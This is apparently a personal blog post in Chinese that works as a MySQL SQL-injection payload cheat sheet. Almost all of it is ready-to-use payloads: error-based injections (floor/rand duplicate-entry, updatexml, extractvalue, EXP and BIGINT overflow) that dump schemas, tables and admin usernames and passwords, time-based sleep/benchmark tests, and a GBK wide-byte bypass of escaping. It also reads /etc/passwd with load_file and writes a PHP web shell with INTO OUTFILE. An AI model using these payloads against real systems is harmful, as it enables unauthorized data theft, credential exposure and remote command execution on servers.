jianfen's blog

Information is beautiful

SELECT语句的逻辑执行顺序:
1.FROM 2.ON 3.JOIN 4.WHERE 5.GROUP BY 6.WITH CUBE or WITH ROLLUP 7.HAVING 8.SELECT 9.DISTINCT 10.ORDER BY 11.TOP
PS:select 1; 其实每一步都会生成一张临时表和列

Duplicate entry 注入

group by + 随机数 + 聚合函数 产生的 group key 重复 报错

//group by 利用临时表 1. 查询是否存在该字段 2. 不存在的话将结果插入临时表(也会计算随机值)

原理: 随机数会产生不确定性质 普通的group by 只会分组,虽然会产生重复或者不确定性但是构不成错误
一但用了聚合函数 等于 内部 每一行都会有一个key标识
因为随机数 当读取时变化使得key重复 导致报错

爆所有库
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
~~FLAG~~

爆 当前数据库 用户名 版本 mysql路径
and(select 1 from(select count(*),concat((select (select (select concat(0x7E7E464C41477E7E,version(),0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b) 改变0的值 1,1就是取出第二个表

爆列
and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x7573657273+limit+0,1))a+from+information_schema.tables+group+by+a)b) shixibao_uchome 的HEX值

爆内容 知道了表和列后直接查询即可
and+(select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,adminname,0x3a,adminpass)+from+5epe_admin+limit+0,1))a+from+information_schema.tables+group+by+a)b)

延迟注入测试

and (select * from(select(sleep(5)))j1an) and (select benchmark(15000000,md5(1))j1an)


order by 后的注入 适用于 mysql 5.X
ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version(),user(),0x3a)),1)

ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit 0,1),0x3a)),1) limit 1,1 第二个表

ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name=0x7573657273+limit 0,1),0x3a)),1) limit 1,1 爆列

ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select+concat(0x3a,adminname,0x3a,adminpass)+from+5epe_admin+limit+0,1),0x3a)),1) limit 1,1 爆列

updatexml 报错注入

and 1=(updatexml(1,concat(0x5e24,(select+concat(0x3a,username,0x3a,password)+from+r0866cplushua.user+limit+0,1),0x5e24),1));
and 1=(updatexml(1,concat(0x5e24,(select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1 ),0x5e24),1))
select (select (select concat(0x7e,version(),0x7e,database(),0x7e))) from information_schema.tables limit 0,1 爆当前库 r0866cplushua 0x723038363663706C7573687561

select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1 爆表 0x75736572

select+column_name+from+information_schema.columns+where+table_name=0x75736572+limit+0,1 爆列

select+concat(0x3a,username,0x3a,password)+from+r0866cplushua.user+limit+0,1 爆数据

过滤逗号时 version 5.5以上可用 exp报错注入

aa"+EXP(~(select * from (select user())a))+"bb 爆用户

aa"+EXP(~(select * from (select group_concat(schema_name) from INFORMATION_SCHEMA.SCHEMATA)a))+"bb 爆库

aa"+EXP(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema='activity_manage')a))+"bb 爆表

爆列
aa"+EXP(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='users')a))+"bb

爆内容 LIMIT [offset,] rows | rows OFFSET offset
比如 limit 5,10就是从第6行开始(包括第6行)+10行 6-15
如果存在OFFSET参数 limit 10 offset 0 limit就变成了行数
limit后面跟的是10条数据,offset后面是从第0条开始读取(也就是第一行)
aa"+EXP(~(select * from (select group_concat(passwd) from activity_manage.users limit 10 offset 0)a)) +"bb
使用limit 和 offset可以完全不出现逗号

Mysql(>=5.5.5) BIGINT Overflow Error

可以试验:
select ~0 #对0取反得到bigint 16进制 无符号(unsigend)最大数

18446744073709551615
最大数值再进行运算时都为报错

mysql中查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1
mysql> select !(select*from(select user())x)-~0; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

实现多行查询 @:=查询语句放入变量 再重复输出变量@
select !(select*from(select(concat((select count(*)frominformation_schema.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x2d2d,table_name,0x2d2d,column_name)),@)))x)-~0;

宽字节注入

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。
反斜杠()的十六进制为%5c,在你输入%bf'时,函数遇到单引号自动转移加入\,此时变为%bf%5c',
%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,
宽字符注入在很多地方都可以应用。

load_file(0x2F6574632F706173737764) 读/etc/passwd

写文件 phpinfo

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';


仅有一条评论 »

  1. f

    sfa

添加新评论 »

在这里输入你的评论...

勿忘初心,方得始终.